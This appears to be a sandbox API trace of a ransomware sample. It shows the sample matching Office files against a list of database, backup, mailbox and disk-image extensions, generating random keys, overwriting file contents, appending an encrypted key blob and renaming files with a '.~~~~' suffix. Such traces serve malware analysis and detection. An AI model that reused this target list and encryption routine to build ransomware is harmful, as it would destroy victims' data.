	[0146.714] lstrlenW (lpString=".dbt") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".dbt") returned 0x0
	[0146.714] lstrlenW (lpString=".db") returned 3
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".db") returned 0x0
	[0146.714] lstrlenW (lpString=".TXT") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".TXT") returned 0x0
	[0146.714] lstrlenW (lpString=".MDF") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".MDF") returned 0x0
	[0146.714] lstrlenW (lpString=".bdb") returned 4
	[0146.714] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".bdb") returned 0x0
	[0146.714] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.715] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a09d8) returned 1
	[0146.716] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.716] CryptReleaseContext (hProv=0x3a09d8, dwFlags=0x0) returned 1
	[0146.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.716] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26670624994) returned 1
	[0146.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc0db3ed0, dwHighDateTime=0x1d60e1e)) 
	[0146.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1b8
	[0146.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1b8 | out: hHeap=0x300000) returned 1
	[0146.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0146.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.717] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.717] GetLastError () returned 0x0
	[0146.717] GetLastError () returned 0x0
	[0146.718] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.718] GetLastError () returned 0x0
	[0146.718] GetLastError () returned 0x0
	[0146.718] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.723] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.725] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.725] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.726] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.728] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.728] CloseHandle (hObject=0x138) returned 1
	[0146.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28707c0
	[0146.728] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCDDSLM.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accddslm.dll.~~~~")) returned 1
	[0146.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28707c0 | out: hHeap=0x300000) returned 1
	[0146.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0146.731] GetLastError () returned 0x0
	[0146.731] RtlWakeConditionVariable () returned 0x365f70
	[0146.732] GetCurrentThreadId () returned 0x3a4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".scr") returned 0x0
	[0146.732] lstrlenW (lpString=".cmd") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".cmd") returned 0x0
	[0146.732] lstrlenW (lpString=".dll") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dll") returned 0x0
	[0146.732] lstrlenW (lpString=".bat") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".bat") returned 0x0
	[0146.732] lstrlenW (lpString=".cpl") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".cpl") returned 0x0
	[0146.732] lstrlenW (lpString=".sys") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".sys") returned 0x0
	[0146.732] lstrlenW (lpString=".msc") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".msc") returned 0x0
	[0146.732] lstrlenW (lpString=".com") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".com") returned 0x0
	[0146.732] lstrlenW (lpString=".lnk") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".lnk") returned 0x0
	[0146.732] lstrlenW (lpString=".msp") returned 4
	[0146.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".msp") returned 0x0
	[0146.732] lstrlenW (lpString=".pif") returned 4
	[0146.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".pif") returned 0x0
	[0146.733] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch="msp\r\n.pif") returned 0x0
	[0146.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\clntwrap.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.735] lstrlenW (lpString=".sqb") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".sqb") returned 0x0
	[0146.735] lstrlenW (lpString=".ost") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".ost") returned 0x0
	[0146.735] lstrlenW (lpString=".txt") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".txt") returned 0x0
	[0146.735] lstrlenW (lpString=".mdt") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".mdt") returned 0x0
	[0146.735] lstrlenW (lpString=".BDB") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".BDB") returned 0x0
	[0146.735] lstrlenW (lpString=".eql") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".eql") returned 0x0
	[0146.735] lstrlenW (lpString=".DBF") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DBF") returned 0x0
	[0146.735] lstrlenW (lpString=".EQL") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".EQL") returned 0x0
	[0146.735] lstrlenW (lpString=".FDB") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".FDB") returned 0x0
	[0146.735] lstrlenW (lpString=".EDB") returned 4
	[0146.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".EDB") returned 0x0
	[0146.735] lstrlenW (lpString=".DACPAC") returned 7
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DACPAC") returned 0x0
	[0146.736] lstrlenW (lpString=".VHD") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".VHD") returned 0x0
	[0146.736] lstrlenW (lpString=".DBV") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DBV") returned 0x0
	[0146.736] lstrlenW (lpString=".dacpac") returned 7
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dacpac") returned 0x0
	[0146.736] lstrlenW (lpString=".sdf") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".sdf") returned 0x0
	[0146.736] lstrlenW (lpString=".accdb") returned 6
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".accdb") returned 0x0
	[0146.736] lstrlenW (lpString=".DBX") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DBX") returned 0x0
	[0146.736] lstrlenW (lpString=".MDT") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".MDT") returned 0x0
	[0146.736] lstrlenW (lpString=".SQB") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".SQB") returned 0x0
	[0146.736] lstrlenW (lpString=".vhd") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".vhd") returned 0x0
	[0146.736] lstrlenW (lpString=".bac") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".bac") returned 0x0
	[0146.736] lstrlenW (lpString=".mdf") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".mdf") returned 0x0
	[0146.736] lstrlenW (lpString=".BAK") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".BAK") returned 0x0
	[0146.736] lstrlenW (lpString=".BAC") returned 4
	[0146.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".BAC") returned 0x0
	[0146.737] lstrlenW (lpString=".dbs") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dbs") returned 0x0
	[0146.737] lstrlenW (lpString=".vhdx") returned 5
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".vhdx") returned 0x0
	[0146.737] lstrlenW (lpString=".NDF") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".NDF") returned 0x0
	[0146.737] lstrlenW (lpString=".dat") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dat") returned 0x0
	[0146.737] lstrlenW (lpString=".DBS") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DBS") returned 0x0
	[0146.737] lstrlenW (lpString=".CKP") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".CKP") returned 0x0
	[0146.737] lstrlenW (lpString=".edb") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".edb") returned 0x0
	[0146.737] lstrlenW (lpString=".PST") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".PST") returned 0x0
	[0146.737] lstrlenW (lpString=".dbf") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dbf") returned 0x0
	[0146.737] lstrlenW (lpString=".SQL") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".SQL") returned 0x0
	[0146.737] lstrlenW (lpString=".pst") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".pst") returned 0x0
	[0146.737] lstrlenW (lpString=".dbv") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dbv") returned 0x0
	[0146.737] lstrlenW (lpString=".SDF") returned 4
	[0146.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".SDF") returned 0x0
	[0146.737] lstrlenW (lpString=".dtxs") returned 5
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dtxs") returned 0x0
	[0146.738] lstrlenW (lpString=".db3") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".db3") returned 0x0
	[0146.738] lstrlenW (lpString=".OST") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".OST") returned 0x0
	[0146.738] lstrlenW (lpString=".dbx") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dbx") returned 0x0
	[0146.738] lstrlenW (lpString=".DB3") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DB3") returned 0x0
	[0146.738] lstrlenW (lpString=".DAT") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DAT") returned 0x0
	[0146.738] lstrlenW (lpString=".VHDX") returned 5
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".VHDX") returned 0x0
	[0146.738] lstrlenW (lpString=".ndf") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".ndf") returned 0x0
	[0146.738] lstrlenW (lpString=".DB") returned 3
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DB") returned 0x0
	[0146.738] lstrlenW (lpString=".sql") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".sql") returned 0x0
	[0146.738] lstrlenW (lpString=".MYD") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".MYD") returned 0x0
	[0146.738] lstrlenW (lpString=".DBT") returned 4
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DBT") returned 0x0
	[0146.738] lstrlenW (lpString=".ACCDB") returned 6
	[0146.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".ACCDB") returned 0x0
	[0146.739] lstrlenW (lpString=".fdb") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".fdb") returned 0x0
	[0146.739] lstrlenW (lpString=".bak") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".bak") returned 0x0
	[0146.739] lstrlenW (lpString=".myd") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".myd") returned 0x0
	[0146.739] lstrlenW (lpString=".DTXS") returned 5
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".DTXS") returned 0x0
	[0146.739] lstrlenW (lpString=".ckp") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".ckp") returned 0x0
	[0146.739] lstrlenW (lpString=".dbt") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".dbt") returned 0x0
	[0146.739] lstrlenW (lpString=".db") returned 3
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".db") returned 0x0
	[0146.739] lstrlenW (lpString=".TXT") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".TXT") returned 0x0
	[0146.739] lstrlenW (lpString=".MDF") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".MDF") returned 0x0
	[0146.739] lstrlenW (lpString=".bdb") returned 4
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".bdb") returned 0x0
	[0146.739] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\CLNTWRAP.HTM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0146.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.740] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395f38) returned 1
	[0146.741] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.741] CryptReleaseContext (hProv=0x395f38, dwFlags=0x0) returned 1
	[0146.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0146.741] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26673117364) returned 1
	[0146.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc0dda030, dwHighDateTime=0x1d60e1e)) 
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e180
	[0146.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e180 | out: hHeap=0x300000) returned 1
	[0146.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0146.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7aa8
	[0146.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.742] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0146.742] GetLastError () returned 0x0
	[0146.742] GetLastError () returned 0x0
	[0146.743] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0146.743] GetLastError () returned 0x0
	[0146.743] GetLastError () returned 0x0
	[0146.743] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x4cf, lpOverlapped=0x0) returned 1
	[0146.745] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffb31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.745] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x4cf, lpOverlapped=0x0) returned 1
